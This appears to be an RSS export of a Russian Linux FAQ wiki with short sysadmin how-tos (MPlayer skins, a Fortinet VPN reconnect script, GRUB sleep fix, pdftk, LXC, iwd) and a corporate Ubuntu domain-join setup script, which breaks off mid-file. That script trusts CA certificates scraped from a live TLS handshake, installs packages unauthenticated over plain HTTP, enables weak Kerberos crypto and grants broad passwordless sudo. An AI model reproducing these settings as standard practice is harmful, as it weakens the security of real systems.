&lt;h1 class=&quot;sectionedit1&quot; id=&quot;fails_to_open_due_topng_read_error_inusrsharemplayerskinsdefaultmain&quot;&gt;Fails to open due to: PNG read error in /usr/share/mplayer/skins/default/main&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
В Ubuntu 16.04.2 и других версий не открывается &lt;strong&gt;MPlayer&lt;/strong&gt; с ошибкой -  &lt;strong&gt;Fails to open due to: PNG read error in /usr/share/mplayer/skins/default/main&lt;/strong&gt;. &lt;br/&gt;

Советы сконвертировать &lt;strong&gt;PNG&lt;/strong&gt; из скина в &lt;strong&gt;PNG24&lt;/strong&gt; не помогли. &lt;br/&gt;

А помогло заменить скин на какой-то другой с &lt;a href=&quot;http://mplayerhq.hu/&quot; class=&quot;urlextern&quot; title=&quot;http://mplayerhq.hu/&quot; rel=&quot;ugc nofollow&quot;&gt;http://mplayerhq.hu/&lt;/a&gt; . &lt;br/&gt;

Например так: 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;wget http://mplayerhq.hu/MPlayer/skins/proton-1.2.tar.bz2
ls
tar -xvf ./proton-1.2.tar.bz2 
sudo mv ./proton /usr/share/mplayer/skins/
sudo rm -f /usr/share/mplayer/skins/default
sudo ln -s /usr/share/mplayer/skins/proton /usr/share/mplayer/skins/default&lt;/pre&gt;

&lt;/div&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>ubuntu_networkmanager_fortinet_vpn_disconnecting</title>
            <link>https://wiki.autosys.tk/linux_faq/ubuntu_networkmanager_fortinet_vpn_disconnecting</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;проблема&quot;&gt;Проблема&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Клиент &lt;strong&gt;Fortinet VPN 7.0.7.0246&lt;/strong&gt; на системе &lt;strong&gt;Kubuntu 23.04&lt;/strong&gt; (то есть сетью управляет &lt;strong&gt;Network Manager&lt;/strong&gt;) . &lt;br/&gt;

Сразу после подключения соединение обрывается. &lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-273&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;причина&quot;&gt;Причина&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Причина в том, что сразу после подключения устройство в подключении VPN имеет статус &lt;strong&gt;unmanaged&lt;/strong&gt;, а должно иметь статус &lt;strong&gt;managed&lt;/strong&gt; или &lt;strong&gt;up&lt;/strong&gt;.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u0438\u0447\u0438\u043d\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u0438\u0447\u0438\u043d\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;274-538&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;возможные_пути_решения&quot;&gt;Возможные пути решения&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Вот тут люди обсуждают проблему: &lt;a href=&quot;https://community.fortinet.com/t5/Support-Forum/FortiClient-cannot-configure-routing-tables-on-Kali-Linux/td-p/251954/highlight/true&quot; class=&quot;urlextern&quot; title=&quot;https://community.fortinet.com/t5/Support-Forum/FortiClient-cannot-configure-routing-tables-on-Kali-Linux/td-p/251954/highlight/true&quot; rel=&quot;ugc nofollow&quot;&gt;https://community.fortinet.com/t5/Support-Forum/FortiClient-cannot-configure-routing-tables-on-Kali-Linux/td-p/251954/highlight/true&lt;/a&gt; &lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Вот простой &lt;a href=&quot;https://gist.githubusercontent.com/SydoxX/f40a9d4d7af414049b6e07092e8bbc2b/raw/7fb16804ea7c33f6fed125d1ed6ffa3b22e9e6ee/forti-fix.sh&quot; class=&quot;urlextern&quot; title=&quot;https://gist.githubusercontent.com/SydoxX/f40a9d4d7af414049b6e07092e8bbc2b/raw/7fb16804ea7c33f6fed125d1ed6ffa3b22e9e6ee/forti-fix.sh&quot; rel=&quot;ugc nofollow&quot;&gt;скрипт&lt;/a&gt; который надо запустить перед подключением:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;#!/bin/bash

echo &amp;quot;Try to connect to the VPN now&amp;quot;
x=99
while [ $x -ne 0 ]
do
  echo &amp;quot;Waiting for VPN connection...&amp;quot;
  sleep 1
  connection=$(nmcli connection show | grep -oP &amp;#039;^vpn\S*&amp;#039;)
  x=$?
done

echo &amp;quot;VPN connection $connection was created! Waiting for &amp;#039;device-reapply&amp;#039;...&amp;quot;
x=99
while [ $x -ne 0 ]
do
  nmcli -f GENERAL.STATE con show $connection 2&amp;gt; /dev/null
  x=${PIPESTATUS[0]}
  sleep 1
  echo &amp;quot;Still waiting...&amp;quot;
done

echo &amp;quot;Device is unmanaged. Setting it to &amp;#039;up&amp;#039; again...&amp;quot;
nmcli con up $connection 2&amp;gt; /dev/null
echo &amp;quot;Done.&amp;quot;&lt;/pre&gt;

&lt;p&gt;
Он следит за подключением и когда оно появляется - делает ему up ! &lt;br/&gt;

Это рабочее решение, но требует запуска скрипта вручную каждый раз перед подключением. &lt;br/&gt;

На основе этого скрипта я сделал другой скрипт, который может работать как сервис, и не требует запуска каждый раз вручную. Также добавил периодический пинг &lt;abbr title=&quot;Domain Name System&quot;&gt;DNS&lt;/abbr&gt;-сервера этого VPN-подключения, чтобы избежать отключения по таймауту неактивности.  
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;#!/bin/bash

while true; do
  connection=$(nmcli connection show | grep -oP &amp;#039;^vpn00\S*&amp;#039;)
  [[ ! -z &amp;quot;$connection&amp;quot; ]] &amp;amp;&amp;amp; \
  nmcli -f name,autoconnect connection | grep $connection | grep no &amp;amp;&amp;amp; \
  nmcli con mod $connection connection.autoconnect yes &amp;amp;&amp;amp; nmcli con up $connection 2&amp;gt;/dev/null &amp;amp;&amp;amp; echo -n &amp;quot;Connected! &amp;quot; &amp;amp;&amp;amp; date
  sleep 5
  [[ ! -z &amp;quot;$connection&amp;quot; ]] &amp;amp;&amp;amp; ping -c 1 -s 1 `nmcli con show $connection 2&amp;gt;/dev/null | grep &amp;#039;IP4.DNS\[1\]&amp;#039; | awk &amp;#039;{print $2}&amp;#039;` 2&amp;gt;&amp;amp;1&amp;gt;/dev/null
done&lt;/pre&gt;

&lt;p&gt;
В системах с KDE (про Gnome не уверен) этот скрипт достаточно поместить в директрию &lt;strong&gt;$HOME/.config/autostart-scripts/&lt;/strong&gt; (или &lt;strong&gt;$HOME/.config/old-autostart-scripts/&lt;/strong&gt;) и перезагрузиться. 
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0412\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0435 \u043f\u0443\u0442\u0438 \u0440\u0435\u0448\u0435\u043d\u0438\u044f&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0435_\u043f\u0443\u0442\u0438_\u0440\u0435\u0448\u0435\u043d\u0438\u044f&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;539-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Fri, 26 May 2023 18:54:11 +0000</pubDate>
        </item>
        <item>
            <title>ubuntu_notebook_sleep_fix</title>
            <link>https://wiki.autosys.tk/linux_faq/ubuntu_notebook_sleep_fix</link>
            <description>
&lt;p&gt;
Если ноутбук с Linux не всегда просыпается из режимов S3/S4 (Sleep), то можно попробывать так: &lt;a href=&quot;http://iam.tj/prototype/enhancements/Windows-acpi_osi.html&quot; class=&quot;urlextern&quot; title=&quot;http://iam.tj/prototype/enhancements/Windows-acpi_osi.html&quot; rel=&quot;ugc nofollow&quot;&gt;http://iam.tj/prototype/enhancements/Windows-acpi_osi.html&lt;/a&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;VERSION=&amp;quot;$(sudo strings /sys/firmware/acpi/tables/DSDT | grep -i &amp;#039;windows &amp;#039; | sort | tail -1)&amp;quot;
echo &amp;#039;Linux kernel command-line parameters required: acpi_osi=! &amp;quot;acpi_osi=&amp;#039;$VERSION&amp;#039;&amp;quot;&amp;#039;
config() { sed -n &amp;#039;/.*linux[[:space:]].*root=\(.*\)/{s//BOOT_IMAGE=\1/ p;q;}&amp;#039; /boot/grub/grub.cfg; }
echo &amp;quot;Existing Command Line: ` config `&amp;quot;
sudo sed -i &amp;quot;s/^\(GRUB_CMDLINE_LINUX=.*\)\&amp;quot;$/\1 acpi_osi=! \\\\\&amp;quot;acpi_osi=$VERSION\\\\\&amp;quot;\&amp;quot;/&amp;quot; /etc/default/grub
sudo update-grub
echo &amp;quot;Modified Command Line: ` config `&amp;quot;&lt;/pre&gt;

&lt;p&gt;
Don&amp;#039;t be put off by all the &lt;br/&gt;
characters. Those are required in order to allow sed to insert literal double-quotation marks into the GRUB_CMDLINE_LINUX string. &lt;br/&gt;

/etc/default/grub will have added the acpi_osi parameters to the GRUB_CMDLINE_LINUX so it will look something like this (there may be other kernel options that were added on some previous occassion):
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;GRUB_CMDLINE_LINUX=&amp;quot;acpi_osi=! \&amp;quot;acpi_osi=Windows 2015\&amp;quot;&amp;quot;&lt;/pre&gt;

&lt;p&gt;
/boot/grub/grub.cfg will have these parameters added to every linux command-line, e.g.
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;linux   /vmlinuz-4.13.0-16-lowlatency root=/dev/mapper/VG_OS-ubuntu_16.04_rootfs ro acpi_osi=! &amp;quot;acpi_osi=Windows 2015&amp;quot; splash $vt_handoff&lt;/pre&gt;

&lt;p&gt;
Once rebooted the running kernel command-line will show something like:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;$ cat /proc/cmdline
BOOT_IMAGE=/vmlinuz-4.13.0-16-lowlatency root=/dev/mapper/VG_OS-ubuntu_16.04_rootfs ro acpi_osi=! &amp;quot;acpi_osi=Windows 2015&amp;quot; splash&lt;/pre&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Fri, 19 May 2023 06:37:44 +0000</pubDate>
        </item>
        <item>
            <title>ubuntu_ocr_gui_распознавание_текста_ubuntu_gui</title>
            <link>https://wiki.autosys.tk/linux_faq/ubuntu_ocr_gui_%D1%80%D0%B0%D1%81%D0%BF%D0%BE%D0%B7%D0%BD%D0%B0%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5_%D1%82%D0%B5%D0%BA%D1%81%D1%82%D0%B0_ubuntu_gui</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;оптическое_распознавание_текста_ocr_под_linux&quot;&gt;Оптическое распознавание текста (OCR) под Linux&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Понадобилось мне распознать десяток страниц из документа &lt;strong&gt;djvu&lt;/strong&gt;. 
Я, по старой памяти, сконвертировал &lt;strong&gt;djvu&lt;/strong&gt; в &lt;strong&gt;pdf&lt;/strong&gt; с помощью &lt;strong&gt;djview4&lt;/strong&gt; (это просмотрщик с &lt;abbr title=&quot;Graphical User Interface&quot;&gt;GUI&lt;/abbr&gt;, который умеет &lt;strong&gt;Export to PDF&lt;/strong&gt;). &lt;br/&gt;

А потом попытался распознать. &lt;br/&gt;

Сначала попробывал &lt;strong&gt;Yagf + Cuneiform&lt;/strong&gt;. &lt;strong&gt;Yagf&lt;/strong&gt; вываливался в &lt;strong&gt;Segmentation Fault&lt;/strong&gt; на этапе открытия &lt;strong&gt;PDF&lt;/strong&gt;. &lt;br/&gt;

Потом я попробывал &lt;strong&gt;lios&lt;/strong&gt;. По сравнению с &lt;strong&gt;yagf&lt;/strong&gt; он оказался гораздо лучше. 
&lt;strong&gt;lios&lt;/strong&gt; смог нормально испортировать изображения их &lt;strong&gt;pdf&lt;/strong&gt; и распознать. Русский язык нормально распознался с помощью &lt;strong&gt;tesseract&lt;/strong&gt; после установки словаря:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install lios tesseract-ocr tesseract-ocr-rus speech-dispatcher&lt;/pre&gt;

&lt;p&gt;
А для распознавания &lt;strong&gt;djvu&lt;/strong&gt; без преобразования в &lt;strong&gt;pdf&lt;/strong&gt; есть такое:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;ocrodjvu - tool to perform OCR on DjVu documents&lt;/pre&gt;

&lt;/div&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Wed, 19 Aug 2020 07:43:51 +0000</pubDate>
        </item>
        <item>
            <title>ubuntu_pdf_transforming_tools</title>
            <link>https://wiki.autosys.tk/linux_faq/ubuntu_pdf_transforming_tools</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;обработка_документов_pdf_в_linux&quot;&gt;Обработка документов pdf в linux&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Понадобилось мне разделить (split) один большой pdf-документ, отсканированный поточным сканером, на страницы.  К тому же, четные страницы документа были перевернуты и их нужно было повернуть правильно.
Погуглив, я наткнулся на пакет &lt;strong&gt;pdftk&lt;/strong&gt;.
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install pdftk&lt;/pre&gt;

&lt;p&gt;
Помещаем диапазон страниц в отдельный файл:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;pdftk ./input.pdf cat 13-14 output output.pdf&lt;/pre&gt;

&lt;p&gt;
В данном случае из документа извлекается диапазон страниц 13-14
Переворачиваем все четные страницы на 180 градусов:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;pdftk ./input.pdf shuffle odd evendown output output.pdf&lt;/pre&gt;

&lt;p&gt;
В данном случае вместо cat используется shuffle, который позволяет производить разные денйствия с четными и нечетными страницами. В данном случае нечетные (&lt;strong&gt;odd&lt;/strong&gt;) страницы выводятся как есть, а четные (&lt;strong&gt;even&lt;/strong&gt;) переворачиваются (&lt;strong&gt;down&lt;/strong&gt;).
Или можно произвести теже самые манипуляции, указав отдельные страницы:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;pdftk ./input.pdf cat 1 2down 3 4down 5 output output.pdf&lt;/pre&gt;

&lt;/div&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>ubuntu_release_upgrade_1604_to_1804_lxc_host</title>
            <link>https://wiki.autosys.tk/linux_faq/ubuntu_release_upgrade_1604_to_1804_lxc_host</link>
            <description>&lt;pre class=&quot;code&quot;&gt;sudo apt-get update
sudo apt-get -y upgrade
sudo do-release-upgrade&lt;/pre&gt;

&lt;p&gt;
После обновления хоста на котором крутились контейнеры &lt;strong&gt;LXC&lt;/strong&gt; с &lt;strong&gt;Ubuntu 16.04&lt;/strong&gt; до &lt;strong&gt;Ubuntu 18.04&lt;/strong&gt; контейнеры не запускаются, а при попытке достап к ним вылезают ошибки:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo lxc-ls
Failed to load config for container_name
sudo lxc info container_name
Error: not found
sudo lxc config show container_name --expanded
Error: not found&lt;/pre&gt;

&lt;p&gt;
Оказалось, что в новых версиях LXC/LXD произошли существенные изменения.
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;lxd init
# lxc-update-config -c /var/lib/lxc/container_name/config&lt;/pre&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>ubuntu_replace_wpa.supplicant_with_iwd</title>
            <link>https://wiki.autosys.tk/linux_faq/ubuntu_replace_wpa.supplicant_with_iwd</link>
            <description>
&lt;p&gt;
iwd - это демон для работы с беспроводными сетями от Intel. &lt;br/&gt;

Отличается низким числом зависимостей, быстродействием и может быть использован как замена &lt;strong&gt;wpa_supplicant&lt;/strong&gt; в паре с популярними менеджерами сетевых подключений, в частности - &lt;strong&gt;Networkmanager&lt;/strong&gt;. &lt;br/&gt;

&lt;/p&gt;

&lt;h1 class=&quot;sectionedit1&quot; id=&quot;установка&quot;&gt;Установка&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install -y iwd&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;440-503&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;настройка_networkmanager&quot;&gt;Настройка Networkmanager&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
В файлике /etc/NetworkManager/NetworkManager.conf дописываем:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;# https://iwd.wiki.kernel.org/networkmanager#nm_configuration
[device]
wifi.backend=iwd&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 Networkmanager&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430_networkmanager&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;504-726&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;настройка_сервисов&quot;&gt;Настройка сервисов&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;sudo systemctl stop wpa_supplicant.service
sudo systemctl stop NetworkManager.service
sudo systemctl start iwd
sudo systemctl restart NetworkManager.service

sudo systemctl disable wpa_supplicant.service
sudo systemctl enable iwd&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430_\u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;727-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Thu, 25 Aug 2022 09:28:39 +0000</pubDate>
        </item>
        <item>
            <title>ubuntu_setup_script</title>
            <link>https://wiki.autosys.tk/linux_faq/ubuntu_setup_script</link>
            <description>
&lt;p&gt;
В скрипте в секции &lt;strong&gt;Set needed Variables&lt;/strong&gt; надо задать только имя хоста.
Остальные параметры (&lt;strong&gt;&lt;abbr title=&quot;Domain Name System&quot;&gt;DNS&lt;/abbr&gt;&lt;/strong&gt;, &lt;strong&gt;domain-name&lt;/strong&gt;, &lt;strong&gt;DOMAIN controllers&lt;/strong&gt;) скрипт получает из &lt;strong&gt;DHCP&lt;/strong&gt; и &lt;strong&gt;&lt;abbr title=&quot;Domain Name System&quot;&gt;DNS&lt;/abbr&gt;&lt;/strong&gt;. 
&lt;/p&gt;

&lt;p&gt;
Запускать так: &lt;strong&gt;sudo ./script.sh&lt;/strong&gt; &lt;br/&gt;

Сделать: &lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
3. &lt;a href=&quot;http://kerberos.996246.n3.nabble.com/Pending-quot-gss-init-sec-context-failed-Unspecified-GSS-failure-quot-td22422.html&quot; class=&quot;urlextern&quot; title=&quot;http://kerberos.996246.n3.nabble.com/Pending-quot-gss-init-sec-context-failed-Unspecified-GSS-failure-quot-td22422.html&quot; rel=&quot;ugc nofollow&quot;&gt;http://kerberos.996246.n3.nabble.com/Pending-quot-gss-init-sec-context-failed-Unspecified-GSS-failure-quot-td22422.html&lt;/a&gt;
I had the same problem/error and fixed it by adding “allow_weak_crypto = true” under [libdefaults] in /etc/krb5.conf 
This works for me, at least on Debian Squeeze, Ubuntu Karmic, and Ubuntu Lucid. 
This was announced in /usr/share/doc/libkrb5-3/NEWS.Debian.gz. 
Hope this helps. &lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;#! /bin/bash

####################################
#### Set needed Variables
####################################
CONNECTION=`ip link | grep &amp;#039;state UP&amp;#039; | awk &amp;#039;{ print $2 }&amp;#039; | sed &amp;#039;s/:$//&amp;#039;`
NEW_DOMAINNAME=`grep &amp;#039;option domain-name&amp;#039; /var/lib/dhcp/dhclient.$CONNECTION.leases | tail -n 1 | awk &amp;#039;{print $3}&amp;#039; | sed &amp;#039;s/&amp;quot;//g;s/;//g&amp;#039;`
DNS_SERVERS=`grep &amp;#039;option domain-name-servers&amp;#039; /var/lib/dhcp/dhclient.$CONNECTION.leases | tail -n 1 | awk &amp;#039;{print $3}&amp;#039; | sed &amp;#039;s/,/ /g;s/;//g&amp;#039;`
DNS_STATIC_SEARCHLIST=&amp;quot;$NEW_DOMAINNAME sberbank.ru&amp;quot;
DOMAIN_CONTROLLERS=`host -t srv _ldap._tcp.$NEW_DOMAINNAME | awk {&amp;#039;print $8&amp;#039;} | sed &amp;#039;s/.$//g&amp;#039;`
DEFAULT_REALM=&amp;quot;${NEW_DOMAINNAME^^}&amp;quot;
NETBIOS_DOMAIN_NAME=$(echo $DEFAULT_REALM | sed  &amp;#039;1,$ s/\..*//g&amp;#039;)
CA_CERT_PREFIX=&amp;quot;SberBank_Root_CA&amp;quot;

# check root
if [ &amp;quot;$(id -u)&amp;quot; != &amp;quot;0&amp;quot; ]; then
  echo &amp;quot;You do not have the appropriate privileges...&amp;quot;
  exit 1
fi

##############################################
### Disable IPv6
##############################################
cp /etc/sysctl.conf /etc/sysctl.conf.bak_`date +&amp;quot;%d.%m.%y_%H-%M&amp;quot;`
sed -i &amp;#039;/^net.ipv6.conf/D&amp;#039; /etc/sysctl.conf
echo &amp;#039;net.ipv6.conf.all.disable_ipv6 = 1&amp;#039; | sudo tee -a /etc/sysctl.conf
echo &amp;#039;net.ipv6.conf.default.disable_ipv6 = 1&amp;#039; | sudo tee -a /etc/sysctl.conf
echo &amp;#039;net.ipv6.conf.lo.disable_ipv6 = 1&amp;#039; | sudo tee -a /etc/sysctl.conf
sysctl -p

##############################################
### Setting up NameServers
##############################################
echo &amp;quot;search $DNS_STATIC_SEARCHLIST&amp;quot; | sudo tee -a /etc/resolvconf/resolv.conf.d/base
echo -ne &amp;gt; /etc/resolvconf/resolv.conf.d/head
for nameserver in $DNS_SERVERS; do echo &amp;quot;nameserver $nameserver&amp;quot; | sudo tee -a /etc/resolvconf/resolv.conf.d/head ;done
resolvconf -u

###########################################
### Add Certificates
###########################################
openssl s_client -showcerts -connect ya.ru:443 &amp;lt;/dev/null &amp;gt; chain.pem
csplit -k -f $CA_CERT_PREFIX ./chain.pem &amp;#039;/END CERTIFICATE/+1&amp;#039; {10}
find ./ -iname $CA_CERT_PREFIX\* -type f -exec grep -F -L &amp;#039;END CERTIFICATE&amp;#039; &amp;#039;{}&amp;#039; + | xargs -d &amp;#039;\n&amp;#039; rm
for file in &amp;quot;$CA_CERT_PREFIX&amp;quot;* ; do sudo mv &amp;quot;$file&amp;quot; /usr/local/share/ca-certificates/&amp;quot;$file&amp;quot;.pem ; done
for file in /usr/local/share/ca-certificates/&amp;quot;$CA_CERT_PREFIX&amp;quot;* ; do sudo cp &amp;quot;$file&amp;quot; /etc/ssl/certs/ ; done
c_rehash /etc/ssl/certs/
c_rehash /usr/local/share/ca-certificates/
update-ca-certificates
rm -f ./chain.pem

####################################
#### Setup Software
####################################
#echo &amp;quot;deb http://ppa.launchpad.net/kubuntu-ppa/backports/ubuntu xenial main&amp;quot; &amp;gt; /etc/apt/sources.list.d/kubuntu-ppa.list
#apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 8AC93F7A
#echo &amp;quot;deb https://tel.red/repos/ubuntu xenial non-free&amp;quot; &amp;gt; /etc/apt/sources.list.d/telred.list
#apt-key adv --keyserver keyserver.ubuntu.com --recv-keys CE49F8C5
#echo &amp;quot;deb [arch=amd64] http://repo.yandex.ru/yandex-browser/deb beta main&amp;quot; &amp;gt; /etc/apt/sources.list.d/yandex-browser.list
#curl -k https://repo.yandex.ru/yandex-browser/YANDEX-BROWSER-KEY.GPG | sudo apt-key add -

apt-get update
apt-get -y upgrade
#apt-get -y install kubuntu-full
apt-get -y install kubuntu-desktop
apt-get -y install xorg
apt-get -y install nano curl openssl libnss3-tools \
chrony krb5-config krb5-locales krb5-user libpam-krb5 \
samba smbclient winbind libpam-winbind libnss-winbind gss-ntlmssp \
ldap-utils cifs-utils libsasl2-modules-gssapi-mit \
libreoffice-l10n-ru aspell-ru language-pack-gnome-ru language-pack-gnome-ru-base \
language-pack-ru language-pack-ru-base language-pack-kde-ru \
evolution evolution-ews evolution-plugins desktop-file-utils \
xvfb myspell-ru build-essential libc6-i386

apt-get -y --allow-unauthenticated install flashplugin-installer yandex-browser-beta
#apt-get -y install sky
#apt-get install clamav tightvncserver
###  http://archive.canonical.com/pool/partner/a/adobe-flashplugin/adobe-flashplugin_20170411.1.orig.tar.gz
curl -o /tmp/adobe-flashplugin_20170411.1.orig.tar.gz \
http://szud-linux-repo.sigma.sbrf.ru/adobe-flashplugin_20170411.1.orig.tar.gz \
&amp;amp;&amp;amp; /usr/lib/flashplugin-installer/install_plugin \
/tmp/adobe-flashplugin_20170411.1.orig.tar.gz \
&amp;amp;&amp;amp; rm /tmp/adobe-flashplugin_20170411.1.orig.tar.gz

apt-get purge geoclue-2.0

#####################################################################
### Download and install Citrix VDA
#####################################################################
curl -o ./VDA.deb http://szud-linux-repo.sigma.sbrf.ru/xendesktopvda_7.13.0.382-1.Kubuntu16.04_amd64.deb &amp;amp;&amp;amp; apt-get -y install ./VDA.deb &amp;amp;&amp;amp; rm -f ./VDA.deb

###############################################
### Setup Services
###############################################
systemctl enable ssh
systemctl enable nmbd.service
systemctl enable samba.service
systemctl enable winbind.service
#############################################
#### Setting sudo
#############################################
cat &amp;lt;&amp;lt;EOF &amp;gt; /etc/sudoers.d/domain_users
localuser       ALL=(ALL) ALL
%$NETBIOS_DOMAIN_NAME\\\\domain\ users          ALL=(ALL) ALL
%domain\ users          ALL=(ALL) ALL
%$NETBIOS_DOMAIN_NAME\\\\domain\ admins      ALL=(ALL) NOPASSWD: ALL
%domain\ admins      ALL=(ALL) NOPASSWD: ALL
EOF

sed -i &amp;quot;/^Defaults\ targetpw.*\$/ s/^/#/&amp;quot; /etc/sudoers
sed -i &amp;quot;/^Defaults\ env_reset.*\$/ s/\ env_reset/\ \!env_reset/&amp;quot; /etc/sudoers
sed -i &amp;quot;/^ALL.*ALL=(ALL).*\$/ s/^/#/&amp;quot; /etc/sudoers

############################################################
#### Suppress PolKit prompt messages
############################################################
#cat &amp;lt;&amp;lt;EOF &amp;gt; /etc/polkit-1/localauthority/50-local.d/allow_all.pkla
#[Do not prompt users with any messages]
#Identity=unix-user:*
#Action=*
#ResultAny=yes
#ResultInactive=yes
#EOF

cat &amp;lt;&amp;lt;EOF &amp;gt; /etc/polkit-1/localauthority/50-local.d/55-inhibit-shutdown.pkla
[Disable PowerOff, Reboot, Hibernate, Suspend]
Identity=unix-user:*
Action=org.freedesktop.login1.power-off;org.freedesktop.login1.power-off-multiple-sessions;org.freedesktop.login1.suspend;org.freedesktop.login1.suspend-multiple-sessions;org.freedesktop.login1.hibernate;org.freedesktop.login1.hibernate-multiple-sessions
ResultAny=no
ResultInactive=no
ResultActive=no
EOF

cat &amp;lt;&amp;lt;EOF &amp;gt; /etc/polkit-1/localauthority/50-local.d/60-inhibit-network-changes.pkla
[Disable PowerOff, Reboot, Hibernate, Suspend]
Identity=unix-user:*
Action=org.freedesktop.NetworkManager.*
ResultAny=no
ResultInactive=no
ResultActive=no
